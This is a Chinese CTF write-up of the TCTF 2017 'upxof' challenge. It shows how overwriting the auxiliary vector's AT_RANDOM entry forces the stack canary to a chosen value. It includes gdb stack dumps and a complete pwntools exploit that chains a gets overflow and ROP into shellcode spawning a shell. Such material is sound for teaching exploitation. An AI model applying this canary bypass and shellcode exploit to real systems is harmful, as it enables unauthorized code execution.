其他
利用auxv控制canary
本文为看雪论坛优秀文章
看雪论坛作者ID:微笑明天
利用绕过canary的另一种方法。通过修改AUXV(Auxiliary Vector)结构体使 canary 值可控。因为在ld的时候,canary是通过AUXV中的一个成员生成的。
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/depack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
{
char v4; // [rsp+0h] [rbp-410h]
unsigned __int64 v5; // [rsp+408h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
printf("let's go:", 0LL);
gets(&v4);
return 0;
}
参考:
auxv结构可以在elf/elf.h里看到:
/* This vector is normally only used by the program interpreter. The
usual definition in an ABI supplement uses the name auxv_t. The
vector is not usually defined in a standard <elf.h> file, but it
can't hurt. We rename it to avoid conflicts. The sizes of these
types are an arrangement between the exec server and the program
interpreter, so we don't fully specify them here. */
typedef struct
{
uint32_t a_type; /* Entry type */
union
{
uint32_t a_val; /* Integer value */
/* We use to have pointer elements added here. We cannot do that,
though, since it does not work when using 32-bit definitions
on 64-bit platforms and vice versa. */
} a_un;
} Elf32_auxv_t;
typedef struct
{
uint64_t a_type; /* Entry type */
union
{
uint64_t a_val; /* Integer value */
/* We use to have pointer elements added here. We cannot do that,
though, since it does not work when using 32-bit definitions
on 64-bit platforms and vice versa. */
} a_un;
} Elf64_auxv_t;
这个a_type的取值可以参见源码,以下列举部分:
...
/* This entry gives some information about the FPU initialization
performed by the kernel. */
...
/* A special ignored value for PPC, used by the kernel to control the
interpretation of the AUXV. Must be > 16. */
...
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = '\n';
}
else
{
memcpy (ret.bytes, dl_random, sizeof (ret));
ret.num &= ~(uintptr_t) 0xff;
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
}
return ret.num;
}
通过测试和文章分析可知,AUXV结构体中AT_RANDOM的值对应了canary的值(The value is a pointer to sixteen random bytes provided by the kernel. The dynamic linker uses this to implement a stack canary)
unsigned long int getauxval(unsigned long int type);
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffa000
16 AT_HWCAP Machine-dependent CPU capability hints 0x1f8bfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x400040
4 AT_PHENT Size of program header entry 56
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x7ffff7dd7000
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x4004e0
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0x7fffffffe1f9
26 AT_HWCAP2 Extension of AT_HWCAP 0x0
31 AT_EXECFN File name of executable 0x7fffffffefc5 "/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/test"
15 AT_PLATFORM String identifying platform 0x7fffffffe209 "x86_64"
0 AT_NULL End of vector 0x0
0x7fffffffe1f9: 0x5b3648d106233604
pwndbg> canary
AT_RANDOM = 0x7fffffffe1f9 # points to (not masked) global canary value
Canary = 0x5b3648d106233600
No valid canaries found on the stacks.
注意,我们覆写auxv的时候不需要把每个种类的Elf64_auxv_t都写上,除了必要的AT_RANDOM外,详见exp。
程序刚进入这个函数后就pop rsi,而后rsp在读入之前就没有变。
LOAD:000000000040099E
LOAD:000000000040099E arg_0 = qword ptr 8
LOAD:000000000040099E arg_8 = qword ptr 10h
LOAD:000000000040099E
LOAD:000000000040099E ; FUNCTION CHUNK AT LOAD:0000000000400C21 SIZE 00000008 BYTES
LOAD:000000000040099E
LOAD:000000000040099E pop rsi ; buf
LOAD:000000000040099F mov rdi, 1 ; fd
LOAD:00000000004009A6 mov rdx, 9 ; count
LOAD:00000000004009AD mov rax, 1
LOAD:00000000004009B4 syscall ; LINUX - sys_write
LOAD:00000000004009B6 mov r9, 0
LOAD:00000000004009BD mov [rsp-8+arg_0], r9
LOAD:00000000004009C2
LOAD:00000000004009C2 loc_4009C2: ; CODE XREF: sub_40099E+7C↓j
LOAD:00000000004009C2 mov r9, [rsp-8+arg_0]
LOAD:00000000004009C7 cmp r9, 4096h
LOAD:00000000004009CE jz short loc_400A1C
LOAD:00000000004009D0 mov rdi, 0 ; fd
LOAD:00000000004009D7 mov rsi, rsp
LOAD:00000000004009DA add rsi, r9
LOAD:00000000004009DD add rsi, 8 ; buf
LOAD:00000000004009E1 mov rdx, 1 ; count
LOAD:00000000004009E8 mov rax, 0
LOAD:00000000004009EF syscall ; LINUX - sys_read
LOAD:00000000004009F1 cmp rax, 1
第一次断在0x4009E1的时候:
rsi 0x7fffffffde08 140737488346632
rsp 0x7fffffffde00 0x7fffffffde00
00:0000│ rsp 0x7fffffffde00 ◂— 0x0
... ↓
10:0080│ 0x7fffffffde80 ◂— 0x1
11:0088│ 0x7fffffffde88 —▸ 0x7fffffffe214 ◂— '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
12:0090│ 0x7fffffffde90 ◂— 0x0
13:0098│ 0x7fffffffde98 —▸ 0x7fffffffe248 ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
14:00a0│ 0x7fffffffdea0 —▸ 0x7fffffffe27c ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg'
...(massive env pointers)
53:0298│ 0x7fffffffe098 —▸ 0x7fffffffefaf ◂— 'LINES=48'
54:02a0│ 0x7fffffffe0a0 —▸ 0x7fffffffefb8 ◂— 'COLUMNS=135'
55:02a8│ 0x7fffffffe0a8 ◂— 0x0
56:02b0│ 0x7fffffffe0b0 ◂— 0x21 /* '!' */
57:02b8│ 0x7fffffffe0b8 —▸ 0x7ffff7ffd000 ◂— jg 0x7ffff7ffd047
58:02c0│ 0x7fffffffe0c0 ◂— 0x10
59:02c8│ 0x7fffffffe0c8 ◂— 0x1f8bfbff
5a:02d0│ 0x7fffffffe0d0 ◂— 0x6
5b:02d8│ 0x7fffffffe0d8 ◂— 0x1000
5c:02e0│ 0x7fffffffe0e0 ◂— 0x11
5d:02e8│ 0x7fffffffe0e8 ◂— 0x64 /* 'd' */
5e:02f0│ 0x7fffffffe0f0 ◂— 0x3
5f:02f8│ 0x7fffffffe0f8 —▸ 0x400040 ◂— add dword ptr [rax], eax
60:0300│ 0x7fffffffe100 ◂— 0x4
61:0308│ 0x7fffffffe108 ◂— 0x38 /* '8' */
62:0310│ 0x7fffffffe110 ◂— 0x5
63:0318│ 0x7fffffffe118 ◂— 0x2
64:0320│ 0x7fffffffe120 ◂— 0x7
65:0328│ 0x7fffffffe128 ◂— 0x0
66:0330│ 0x7fffffffe130 ◂— 0x8
67:0338│ 0x7fffffffe138 ◂— 0x0
68:0340│ 0x7fffffffe140 ◂— 9 /* '\t' */
69:0348│ 0x7fffffffe148 —▸ 0x400988 ◂— sub rsp, 0x80
6a:0350│ 0x7fffffffe150 ◂— 0xb /* '\x0b' */
6b:0358│ 0x7fffffffe158 ◂— 0x3e8
6c:0360│ 0x7fffffffe160 ◂— 0xc /* '\x0c' */
6d:0368│ 0x7fffffffe168 ◂— 0x3e8
6e:0370│ 0x7fffffffe170 ◂— 0xd /* '\r' */
6f:0378│ 0x7fffffffe178 ◂— 0x3e8
70:0380│ 0x7fffffffe180 ◂— 0xe
71:0388│ 0x7fffffffe188 ◂— 0x3e8
72:0390│ 0x7fffffffe190 ◂— 0x17
73:0398│ 0x7fffffffe198 ◂— 0x0
74:03a0│ 0x7fffffffe1a0 ◂— 0x19
75:03a8│ 0x7fffffffe1a8 —▸ 0x7fffffffe1f9 ◂— 0xc0d54f3a714d6d9a
76:03b0│ 0x7fffffffe1b0 ◂— 0x1a
77:03b8│ 0x7fffffffe1b8 ◂— 0x0
我们修改的时候还要修改其a_type,也就是0x7fffffffe1a0地址处表示的0x19。
0x7fffffffe0b0地址开始就是auxv的开始地址,之前和env数组有一个0的分隔。我们在覆盖的时候,不必将auxv每一个a_type对应的值都覆写上。
0x7fffffffde80处的1保存的是argc(参数个数)。0x7fffffffde88则是argv
context(os='linux', arch='amd64', log_level='debug')
p=process("./upxof")
p.recvuntil("password:")
payload = '12345678'
payload += p64(0) * 14
payload += p64(1) # argc
payload += p64(0x400008) # argv
payload += p64(0)
payload += p64(0x400008) * 42 # envp
payload += p64(0)
aux vector
payload += p64(0x21)
payload += p64(0x7ffff7ffd000)
payload += p64(0x10) # AT_HWCAP
payload += p64(0x1f8bfbff)
payload += p64(0x6) # AT_PAGESZ
payload += p64(0x1000)
payload += p64(0x11) # AT_CLKTCK
payload += p64(0x64)
payload += p64(0x3) # AT_PHDR
payload += p64(0x400040)
payload += p64(0x4) # AT_PHENT
payload += p64(0x38)
payload += p64(0x5) # AT_PHNUM
payload += p64(0x2)
payload += p64(0x7) # AT_BASE
payload += p64(0x0)
payload += p64(0x8) # AT_FLAGS
payload += p64(0x0)
payload += p64(0x9) # AT_ENTRY
payload += p64(0x400988)
payload += p64(0xb) # AT_UID
payload += p64(0x0)
payload += p64(0xc) # AT_EUID
payload += p64(0x0)
payload += p64(0xd) # AT_GID
payload += p64(0x0)
payload += p64(0xe) # AT_EGID
payload += p64(0x0)
payload += p64(0x17) # AT_SECURE
payload += p64(0x0)
payload += p64(0x19) # AT_RANDOM
payload += p64(0x8000a0) # data at 0x8000a0 is 0, so we control canary with 0
payload += p64(0x1f) # AT_EXECFN
payload += p64(0x7fffffffeff0) # --> 0x666f7870752f2e ('./upxof')
payload += p64(0xf) # AT_PLATFORM
payload += p64(0x7fffffffe659) # --> 0x34365f363878 ('x86_64')
payload+=p64(0)
payload+=p64(0)
p.sendline(payload)
p.recvuntil('go:')
pop_rdi = 0x4007f3
gets = 0x4005B0
p.sendline(flat('\x00' * 1048, pop_rdi, 0x00800000, gets, 0x00800000)) # write shellcode to RWX 0x8000a0
p.sendline(asm(shellcraft.sh()))
p.interactive()
gdb.attach(p,"b *0x400A1C")
p.interactive()
AT_PHENT 0x4
AT_PHNUM 0x5
AT_ENTRY 0x9
看雪ID:微笑明天
https://bbs.pediy.com/user-821225.htm
推荐文章++++